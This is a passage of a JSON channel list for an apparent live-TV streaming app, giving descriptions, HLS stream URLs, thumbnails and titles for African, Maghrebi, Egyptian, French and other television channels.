Gospel de premier ordre, des documentaires. radio Tele Puissance est une station très divertissante..","sources":["https://video1.getstreamhosting.com:1936/8560/8560/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://radioendirect.net/assets/images/radio/item/119251.jpg","title":"Radio Tele Puissance"},{"description":"Christ live est une chaine télévision de divertissement chrétienne disponible sur le satellite.","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/Cliv.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/christ-tv_logo.jpg","title":"CHRIST TV / Religion"},{"description":"QTV Gambia is the First Private Television Station","sources":["https://player.qtv.gm/hls/live.stream.m3u8"],"subtitle":"By Channel","thumb":"https://standard.gm/wp-content/uploads/2020/08/QTV-696x495.jpg","title":"QTV / Gambia"},{"description":"TVM International, or TVM Internacional, is the international channel of Mozambique's national TV broadcaster, Televisão de Moçambique (TVM), broadcasting for 24 hours per day. The channel will showcase local programming featuring Mozambican culture, tourism and sports.","sources":["http://196.28.226.121:1935/live/smil:Channel2.smil/chunklist_b714000_slpor.m3u8"],"subtitle":"By Channel","thumb":"https://clubofmozambique.com/wp-content/uploads/2020/03/tvmint.rm.jpg","title":"TVM Internacional"},{"description":"K24 TV est une chaine de télévision généraliste Kényane fondée en 2007 basé à Longonot Place, P. O. Box 49640 Kijabe St Tél : +254 20 2124801. K24 TV diffuse sur la télévision terrestre et en streaming sur Dailymotion et sur son site internet..","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/K24.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/k24-tv_logo.jpg","title":"K24 TV / Kenya"},{"description":"Afrobeat tv is a division of kaycee records .Kaycee Records is an independent record label established in the United Kingdom, and Nigeria Owned by Kennedy Kesidi Richard from Oguta in Imo State Nigeria .Afro beat tv is the new musical innovation to promote African art and and as a platform to promote and create awareness for up coming African artist all around the globe","sources":["http://connectiktv.ddns.net:8080/afrobit/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/05/AFROBIT-png-300x168.png","title":"AFROBITS / Music"},{"description":"Dunamis International Gospel Centre (DIGC) Jos Central is a powerfully anointed church, where God's Presence and power are saving, healing and restoring human destinies and dignities! Located in Alheri, Jos, Plateau State with HQT in Abuja Nigeria. Dunamis (Doo'na-mis) is the Greek word that means POWER.","sources":["https://christianworld.ashttp9.visionip.tv/live/visiontvuk-religion-dunamistv-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/ng-dunamis-tv-2163-300x225.jpg","title":"DUNAMIS TV / Religion"},{"description":"France tv sport, c’est d’abord l’actualité de TOUS les sports. De l’analyse en temps réel, du live ou encore des replays vidéo sont disponibles à tout moment. Enrichissez votre expérience et plongez au cœur de l'actualité du sport.","sources":["https://streamserv.mytvchain.com/sportenfrance/SP1564435593_720p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://liberador.net/media/images/FranceTv_Sport.max-640x640.jpg","title":"SPORTS FRANCE TV"},{"description":"Darut Tarbiyah La télévision en direct du Réseau islamique de Trinité-et-Tobago Chaîne de télévision religieuse / Darut Tarbiyah Le Réseau islamique (T.I.N.) est une chaîne de télévision câblée locale de Trinité-et-Tobago diffusant des programmes islamiques. La station est transportée sur le canal 96 ou 116 sur le système de câble Flow Trinidad. DARUT TARBIYAH - LE RÉSEAU ISLAMIQUE. Darut Tarbiyah Drive, Ramgoolie Trace North, Cunupia, Trinidad Antilles. Tél: (868) 693-1722, 693-1393","sources":["http://162.244.81.145:2215/live/livestream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://theislamicnetwork.org/wp-content/uploads/musicpro/bd-uploads/logo_logo_TIN-Logo-White-Text.png","title":"THE ISLAMIC NETWORK"},{"description":"D Sports HD est une chaine qui se fcalise sur les Sports en General : WWE, BOX, Football: Ligue brésilienne, Super League chinoise, Ligue portugaise, Major League Soccer (USA) Courses hippiques: courses quotidiennes diffusées en direct du Royaume-Uni et d'Irlande Golf: British Open (The Open Championship), US Open, PGA Championship, LPGA Motorsports: NASCAR, Championnat du Monde de Rallycross FIA Rugby: 6 Nations Rugby Cyclisme: Tour de France (propriété d'Eurosport).","sources":["http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8"],"subtitle":"By Channel","thumb":"https://kccl.tv/sites/default/files/dsportjpg.jpg","title":"D Sports TV"},{"description":"Africa Sports TV est la première chaîne francophone d’information en continue de sport en Afrique. C’est un média fédérateur des sports africains. On parle de compétition locales, des ligues nationales sur toutes les disciplines du continent, dont le basketball, le football, la lutte… Il y aura beaucoup de lutte, qui prend un essor important sur le continent. Il y a tout un lobby autour de la lutte. Africa Sports TV est disponible Sur Le Canal 56 de la BbOX – Sur Le Canal 614 du Bouquet Africain Max de TV ORANGE.","sources":["https://strhls.streamakaci.tv/str_africasportstv_africasportstv/str_africasportstv_multi/str_africasportstv_africasportstv/str_africasportstv_player_1080p/chunks.m3u8"],"subtitle":"By Channel","thumb":"https://pbs.twimg.com/profile_images/1215646342812401668/SOnvVloX_400x400.jpg","title":"Africa Sports TV"},{"description":"Real Madrid TV est une chaîne de télévision numérique gratuite, exploitée par le Real Madrid, spécialisée dans le club de football espagnol. La chaîne est disponible en espagnol et en anglais. Il est situé à Ciudad Real Madrid à Valdebebas (Madrid), le centre de formation du Real Madrid.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hwebes_1@300661/index_3_av-b.m3u8"],"subtitle":"By Channel","thumb":"https://files.cults3d.com/uploaders/13539675/illustration-file/9c08780f-eb52-427b-aad7-b0a8c0fb83a1/real_madrid_ref1_large.JPG","title":"Real Madrid TV"},{"description":"Real Madrid Club de Fútbol, ce qui signifie Royal Madrid Football Club), communément appelé Real Madrid, est un club de football professionnel espagnol basé à Madrid. Fondé le 6 mars 1902 sous le nom de Madrid Football Club, le club porte traditionnellement un maillot blanc à domicile depuis sa création. Le mot réel est espagnol pour royal et a été accordé au club par le roi Alfonso XIII en 1920 avec la couronne royale dans l'emblème. L'équipe a disputé ses matchs à domicile dans le stade Santiago Bernabéu d'une capacité de 81 044 places au centre-ville de Madrid depuis 1947.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hweben_1@300662/master.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/e4/de/18/e4de1869c0eba3beab9ffc9d01660e65.jpg","title":"Real Madrid TV"},{"description":" EPT SPORTS HD est la nouvelle chaîne exclusivement sportive de l’audiovisuel public, ERT Sports HD, sa première officielle à 06h00 le matin du samedi 9 février 2019.","sources":["https://ert-live.siliconweb.com/media/ert_sports/ert_sportshigh.m3u8"],"subtitle":"By Channel","thumb":"https://png.pngitem.com/pimgs/s/681-6814150_ert-sports-hd-logo-ert-sports-hd-hd.png","title":"EPT Sports HD"},{"description":"Sports Tonight Live, branded simply as Sports Tonight, was a British television show and channel, owned by VISION247 based in Central London. It was launched online on 29 August 2011.","sources":["http://sports.ashttp9.visionip.tv/live/visiontvuk-sports-sportstonightlive-hsslive-25f-4x3-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://embeddedplayer.visionip.tv/portals/Sports_Tonight_Live/Sports_Tonight_Live/overlay_logos/Sports%20Tonight%20Live-plBackground-1308.png","title":"Sports Tonight"},{"description":"Arryadia HD TV est une chaîne sportive de télévision publique marocaine. Il fait partie du groupe public SNRT avec Al Aoula, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 16 septembre 2006. Arryadia est le diffuseur officiel de la ligue marocaine Botola.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arriadia/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://4.bp.blogspot.com/-lnh_8LWuXaw/WZ09LDkMsZI/AAAAAAAAEeI/9FKtxdQjbl4UVqmZjqN4R-fE9uOLG2ccQCLcBGAs/s1600/FB_IMG_1503465850383.jpg","title":"Arryadia TV / Maroc"},{"description":"Assadissa TV est une chaîne de télévision publique marocaine dédiée aux affaires religieuses. Il fait partie du groupe public SNRT avec Al Aoula, Arryadia, Athaqafia, Al Maghribia, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 3 novembre 2005. Outre les lectures du Coran, il existe également des programmes de services religieux, de débats et de documentaires. Il est diffusé tous les jours de 2h00 à 23h00. Le samedi, il est de 6h00 à 21h00.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/assadissa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7e/Assadissa.png","title":"Assadissa TV/ Maroc"},{"description":"Al Aoula, anciennement appelée TVM (Télévision marocaine, arabe: ??????? ????????), est la première chaîne de télévision publique marocaine. Il fait partie du groupe public SNRT avec Arryadia, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. Le réseau diffuse des programmes en arabe, berbère, français et espagnol. Son siège est situé à Rabat. Lancé en 1962, Al Aoula a été le premier réseau de télévision à produire et à diffuser ses propres programmes dans le pays. En 1962, il a commencé des émissions en couleur.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/al_aoula_inter/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://live.staticflickr.com/1853/44065447112_7a93bb434f.jpg","title":"Al Aoula TV/ Maroc"},{"description":"2M TV est une chaîne de télévision marocaine gratuite. Il a été créé par le conglomérat royal, ONA, avant d'être en partie vendu à l'État marocain. 20,7% de 2M appartiennent à la société holding de Mohammed VI SNI. Alors qu'environ 60% sont contrôlés par l'État marocain. Il est basé à Casablanca. Il est disponible gratuitement localement sur signal numérique avec une couverture sur tout le Maroc et sur la télévision par satellite via Globecast, Nilesat et Arabsat. 2M propose des services en arabe, français et berbère.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/2m_monde/hls_video_ts/2m_monde.m3u8"],"subtitle":"By Channel","thumb":"https://caidal.ma/wp-content/uploads/2019/04/ob_febd69_2-m-maroc-en-ligne.jpg","title":"2M TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Tele Maroc est la nouvelle chaîne satellitaire généraliste marocaine créée par rachid Niny. Siège à Madrid. « C’est donc une chaéne de télévision légalement espagnole avec un contenu marocain.","sources":["https://api.new.livestream.com/accounts/27130247/events/8196478/live.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/1d/b5/9e1db51201d4debce634f6e8b44a2424.jpg","title":"Tele Maroc"},{"description":"Tamazinght TV est une chaîne de télévision publique marocaine créée le 6 janvier 2010, propriété de la Société nationale de radiodiffusion et de télévision. La chaîne a pour objectif la promotion et la préservation de la culture amazighe au Maroc et dans la région de l'Afrique du Nord. en langue berbère. 70% en tashelhit, tarifit et tamazight (les 3 variantes du berbère du Maroc), le reste en arabe.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/tamazight_tv8_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"http://hub.tv-ark.org.uk/images/International/international_images/morocco_images/tamazight/Tamazight_TV_ident4_060912a.jpg","title":"Tamazight TV / Maroc"},{"description":"EMCI TV est une chaîne de télévision chrétienne évangélique francophone. Les studios de la chaîne se trouvent dans la ville de Québec, Canada. Le contenu de la programmation est assez varié et provient de divers pays francophones d’Afrique, d’Europe et d’Amérique. Des clips musicaux, des enseignements bibliques, des prédications, la Bible en vidéo, des temps de prière, des reportages, des documentaires, des films ainsi que des séries y sont présentés.","sources":["https://emci-fr-hls.akamaized.net/hls/live/2007265/emcifrhls/index.m3u8"],"subtitle":"By Channel","thumb":"https://www.enseignemoi-files.com/site/view/images/dyn-cache/pages/image/img/23/62/1522940482_236277_1200x630x1.f.jpg?v=2018021301","title":"EMCI TV / Religion"},{"description":"CIS TV est une chaine tv guinéen consacré au sport et à la culture. basée à Conakry, fondé en 2016 par Mamadou Antonio Souaré. CIS TV est diffuse via le satellite Fréquence Tv 3689: Symbole 1083: Satelite eutelsat 10a ZONES DE DIFFUSION : tiers d'Afrique.","sources":["http://51.81.109.113:1935/CDNLIVE/CISTV/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.senegal7.com/wp-content/uploads/2019/03/f9180cb9286c49c4f3a6c793798b9ddf.png","title":"CIS TV / Guinee"},{"description":"Faso TV est une initiative de Magic Communication et Médias, une société à responsabilité limitée basée à Ouagadougou, capitale du Burkina Faso. C’est une chaîne de télévision en ligne destinée à l’événementiel. Nous entendons par événementiel toutes manifestations ou activités à caractère culturel, économique, éducatif ou sportif dont l’objectif est de susciter la mobilisation, l’adhésion, l’engouement de la population ou d’un public cible au plan local, national ou international. Autrement dit, notre stratégie éditoriale consiste à faire la promotion de toutes activités qui contribuent au développement socio-économique et culturel, à l’éducation, au divertissement et au bien être de la population burkinabé et de sa diaspora.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/163893638025530331068059.m3u8"],"subtitle":"By Channel","thumb":"https://fasotv.net/wp-content/uploads/2019/10/logo-final-sans-slogan.png","title":"FASO TV / Burkina Fasso "},{"description":"Plex tv une chaîne généraliste spécialisé dans la retransmissions des événement. émission et qui diffuse aussi des films, musiques, divertissement, sport, magasine etc et une multitude de programme en haute définition.","sources":["http://connectiktv.ddns.net:5000/plextv/@plextv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lifetimepremiumaccounts.com/wp-content/uploads/2019/03/plex-logo.jpg","title":"PLEX TV / "},{"description":"PLAY TV est une chaine de télévision musicale Camerounaise basée à Yaoundé, elle diffuse un programme 100% musicale la musique d’ici et d’ailleurs en haute définition..","sources":["http://connectiktv.ddns.net:5000/playtv/@playtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/logo-play-tv-300x113.jpg","title":"PLAT TV / Cameroune "},{"description":"TVR Rennes 35 Bretagne est une chaîne de télévision locale née en mars 1987 sous le nom de TV Rennes. TVR Rennes 35 Bretagne fut inaugurée à son lancement par le président de la République, elle fut la première télévision locale créée en France elle est diffusée Canal 35 sur la TNT / Canal 30 sur Orange, Freebox et BBox / Canal 95 sur Numéricable et en direct streaming sur son site Internet.","sources":["https://streamtv.cdn.dvmr.fr/TVR/ngrp:tvr.stream_all/master.m3u8"],"subtitle":"By Channel","thumb":"https://w0.pngwave.com/png/890/19/tvr-tv-rennes-35-logo-television-channel-tvr-t350-png-clip-art.png","title":"Rennes TV / France Sports "},{"description":"Chaîne franco-marocaine basée à Tanger et destinée au Maghreb. Programmation culturelle avec information, reportages et documentaires. En arabe et en Français. Fin 2010, elle a également commencé à diffuser à la télévision analogique terrestre au Maroc, en plus de la télévision numérique par satellite. Il a été rebaptisé Medi 1 TV.","sources":["http://streaming.medi1tv.com/live/Medi1tvmaghreb.sdp/chunklist.m3u8"],"subtitle":"By Channel","thumb":"http://www.logotypes101.com/logos/807/C85CC3231EAD10CEC61C182C7DED072D/medi1tvlogo.png","title":"Medi 1 TV / Maroc"},{"description":"M24 Television est la chaîne d’info en continu de l’agence marocaine de presse (MAP). Une chaîne qui couvre l’actualité marocaine et internationale. Une chaîne fidèle aux valeurs de la MAP qui est le premier producteur d'information au Maroc. Le fil de la MAP se décline en cinq langues : Arabe, Amazighe, Français, Anglais et Espagnol. la MAP présente dans toutes les régions du Royaume et dans les cinq continents, elle fournit tous les médias en informations, reportages, analyses et portraits.","sources":["https://www.m24tv.ma/live/smil:OutStream1.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is5-ssl.mzstatic.com/image/thumb/Purple114/v4/e4/c6/3e/e4c63e4e-b8ff-a14e-cacd-3593f09c1f78/source/512x512bb.jpg","title":"M24 TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Al-Fath channel is the property of Sheikh Ahmed Awad Abdo, and is considered the satellite channel of the Islamic religious channels that follow the Sunnah, and offers a series of programs interpretation for the Quran Al-Kareem, and many true prophetic and the CEO is Prof. Ahmed Abdou Awad, the Islamic Scholar.","sources":["https://svs.itworkscdn.net/alfatehlive/fatehtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-alfath-tv.jpg","title":"Al Fath TV / Egypte"},{"description":"Al Hayah started broadcasting in 2008 during the last years of Mubarak's rule, which saw a revival in the ownership of the media. It was founded by businessman El Sayed El Badawi as part of Al Hayah Channels Network. El Badawi assumed the presidency of the Wafd Party from May 2010 until March 2018. El Badawi is one of the businessmen who played political roles in addition to owning media outlets, such as Al Dostor (link to profile). ","sources":["http://media.islamexplained.com:1935/live/_definst_mp4:ahme.stream_360p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/474x/76/1a/a4/761aa46eb54c24d21ca5866f21442426.jpg","title":"Al hayat TV / Maroc"},{"description":"The El Sharq channel broadcasts Various programs, from Egypt country in the Arabic language, last updated time on March 25, 2016. El Sharq which considered to view as a Free to air satellite TV channel.","sources":["https://mn-nl.mncdn.com/elsharq_live/live/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://egytvs.com/wp-content/uploads/2014/06/al-sharq-200x75.jpg","title":"Al sharq TV / Maroc"},{"description":"Guinée TV1 est une chaine de télévision généraliste Guinéenne basée à Conakry. Elle diffuse de la musique des informations des documentaires. des programmes religieux et autre.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/664825404798849938149128.m3u8"],"subtitle":"By Channel","thumb":"https://gtv1love.com/wp-content/uploads/2019/10/logo4.png","title":"GUINEE TV / Guinee "},{"description":"Inooro TV chaînes de télévision généraliste Kényane en langue Kikuyu lancé le 26 octobre 2015. Elle diffuse 24 heures sur 24. Inooro TV est une chaine du groupe Royal Media Services (RMS).","sources":["https://vidcdn.vidgyor.com/inoorotv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://royalmedia.s3.amazonaws.com/wp-content/uploads/2019/10/inoorotv.jpg","title":"INOORO TV / Kenya "},{"description":"Citizen TV Kenya est une station nationale Kényane détenue par Royal Media Services Ltd.Elle diffuse principalement en anglais et en swahili. Elle a été lancé en 1999 et relancé en Juin 2006 c’est la station de télévision avec la plus forte croissance au Kenya avec un fort accent sur ??la programmation locale Basé au Communication Centre,Maalim Juma Road,Off Dennis Pritt Road, Nairobi, 7498-00300.","sources":["https://vidcdn.vidgyor.com/citizentv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.innocirc.com/wp-content/uploads/2017/07/citizen.jpg","title":"CITIZEN TV / Kenya "},{"description":"RTJ TV ( Radio Télévision Jeune ) est une chaine de télévision culturel Sénégalaise. Elle diffuse des programme de divertissement( WatZapp le Zapping), Musique (playlist Mix Afro Mix Zouk Mix Hip Hop Musique sénégalaise), bien être, documentaire, Émission éducatif qui consiste à joindre l’utile à l’agréable à travers l'éducation des enfants, interviews ect.","sources":["http://public.acangroup.org:1935/output/rtjtv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://rtjtv.com/images/rtjtv.png","title":"RTJ TV / Senegal"},{"description":"Mouride tv est une chaine de télévision généraliste sénégalaise basé à touba, Senegal. Mouride tv c’est la télévision base au coeur des événement mourides magal, thiante, wakhtane, khassaide, kourel en direct..","sources":["http://51.81.109.113:1935/Livemouridetv/mouridetv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/sn-mouride-tv.jpg","title":"MOURIDE TV / Senegal"},{"description":"ANN TV est une chaîne d’Informations générales et de Divertissement. Elle est produite par JUUF COMMUNICATION et diffusée sur le site d’informations générales multimédia ANN. La plateforme ANN comporte un journal en ligne (ANN), une WebRadio (ANN FM) et une WebTV (ANN TV).","sources":["http://vod.acangroup.org:1935/output/anntv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://an-news.com/wp-content/uploads/2019/05/aan.png","title":"ANN TV / Senegal"},{"description":"Louga TV est une chaine culturelle et religieuse Senegalaise qui se veut attractive et objective. En temps réel, elle produit des vidéos de qualité qui tiennent compte de la spécificité de l’information et de la crédibilité de ses sources. Également, l’équipe technique et rédactionnelle est constituée de techniciens chevronnés aux compétences avérées. Dans son approche des enjeux de l’information capitale, la chaine louga tv offre des vidéos qui informent, forment et transforment le citoyen dans l’approche de son monde en devenir..","sources":["http://ira.dyndns.tv:8080/live/louga/CAnhiMtR6C/1708.m3u8"],"subtitle":"By Channel","thumb":"https://i.ytimg.com/vi/3Gnt2_SndXw/maxresdefault.jpg","title":"LOUGA TV / Senegal"},{"description":"Dieu TV est une chaine de télévision généraliste chrétienne pour la Francophonie.Elle proclame la Bonne Nouvelle du Salut en Jésus-Christ pour atteindre les 400 millions de Francophones dans le monde. Fondée en 2007. Dieu TV diffuse sur le Satellite Eutelsat 5WA (Europe et Afrique du Nord), et le Satellite Amos 5 et en streaming sur son site interne","sources":["https://katapy.hs.llnwd.net/dieutvwza1/DIEUTVLIVE/smil:dieutv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/fr-dieu-tv.jpg","title":"DIEU TV / Religion "},{"description":"Radio Télévision Hirondelle : La nouvelle couleur du Sud. Elle diffuse des émissions pour divers catégories nouvelles locales, nationales et internationales le sport du monde Entier la musique et videos clips Promotions des artistes Locaux.","sources":["http://play.acwstream.com:2000/live/acw_01/index.m3u8"],"subtitle":"By Channel","thumb":"https://radiotelehirondelle.com/wp-content/uploads/2020/08/logo.png","title":"HIRONDELLE TV"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["https://hbiptv.live/player/sakchotv/index.m3u8"],"subtitle":"By Channel","thumb":"https://image.roku.com/developer_channels/prod/1de97a21d9bd773a115a5467974be0b859d1157256316bd1e72ed48965c0191a.png","title":"BEL TV / Haiti "},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr-prod.shahid.net/masr-prod.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7c/MBC_Masr_Logo.png","title":"MBC MSR 1 / Egypte"},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr2-prod.shahid.net/masr2-prod.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/01/3c/21/013c218c3ce9b3cfc883bdcdb121e5e6.jpg","title":"MBC MSR 2 / Egypte"},{"description":"Mekameleen TV is an Egyptian opposition TV Channel. It is based in Istanbul. It's known to be supportive of the Muslim Brotherhood","sources":["https://mn-nl.mncdn.com/mekameleen/smil:mekameleentv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/12/5b/1f/125b1febb8ada3a4f83475c2643adeb7.jpg","title":"Mekameleen TV / Egypte"},{"description":"The Kingdome Sat is television from Egypte founded in 2009 by Dr. Michael Yousef, the KingdomSat channel aims to introduce written teachings from the East and West to complement the vision given by God to the loss of the faraway and to encourage believers in the Middle East and North Africa region.","sources":["https://bcovlive-a.akamaihd.net/87f7c114719b4646b7c4263c26515cf3/eu-central-1/6008340466001/profile_0/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-kingdom-sat-channe.jpg","title":"The Kingdom Sat TV / Egypt"},{"description":"D5 TV Music est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["https://www.rti.ci/direct_rti2.html"],"subtitle":"By Channel","thumb":"https://d5music.tv/wp-content/uploads/2020/07/cropped-LOGO-D5-MUSIC-BLANCROUGE_carre-192x192.png","title":"RTI 2 TV"},{"description":"A2iTV la chaine 100% immigration Senegalais, qui est née de la synergie de personnes qui ont décidé d’ unir leur force, leur compétence et leur ressources matérielles et financiéres pour participer avec l’aide des nouvelles technologies à informer sur l’ immigration .","sources":["http://51.158.31.93:1935/a2itv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/A2itv_logo.jpg","title":"A2i TV / Senegal"},{"description":"A2i music est une chaine culturelle destinée à la Diaspora avec des programmes musicales et des dramatiques. A2i music couvre aussi les autres parties du monde, notament les Etats Unis, le Canada, l’Asie, etc. à travers les boitiers Roku fournis par AfricaAstv, Acantv, My African pack de Invevo et Sénégal.","sources":["http://51.158.31.93:1935/a2itvtwo/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/a2i-music_logo.jpg","title":"A2i TV / Music "},{"description":"A2i tv Relegion est une chaine culturelle destinée à la Diasporat senegalais avec des programme chretiens.","sources":["http://51.158.31.93:1935/a2itvthree/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/wwumXcAbY83D0q-NgUv2veS-p54FJTq6LAvsPRwYwWo-70ggeDkCM1VdhqhibRQNk4o=s180-rw","title":"A2i TV / Religion "},{"description":"Love World Plus TV is your Christian faith and lifestyle channel destined to bring a new level of dynamism into Christian television programming through satellite and the internet. The reach of LoveWorld Plus is limitless.","sources":["http://hls.live.metacdn.com/2450C7/bedkcjfty/lwplus_628.m3u8"],"subtitle":"By Channel","thumb":"https://d3c5pcohbexzc4.cloudfront.net/videos/thumbs/be214-loveworldplus.jpg","title":"Love World Plus TV"},{"description":"A2i naija est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["http://51.158.31.93:1935/devtv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://image.winudf.com/v2/image/YTVjZW50cy5hMmlfc2NyZWVuXzVfMTUxNTk5NTEyNl8wNTQ/screen-5.jpg?fakeurl=1&type=.jpg","title":"A2i / naija Music"},{"description":"BOK TV is an online and public access variety show and the show's log line what would happen if In Living Color and The Daily Show had a bastard child! BOKTV is what would happen and he show is split into segments: MONOLOGUE, SKETCH, ROUND TABLE, COMMERCIAL, BLACK TWITTER. create a platform of discourse that encourages exchange as opposed to polarity, and to showcase the talents of the host and other cast members.","sources":["http://boktv.interworks.in:1935/live/boktv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://bokradio.co.za/wp-content/uploads/2017/07/button_cameratv.jpg","title":"BOK 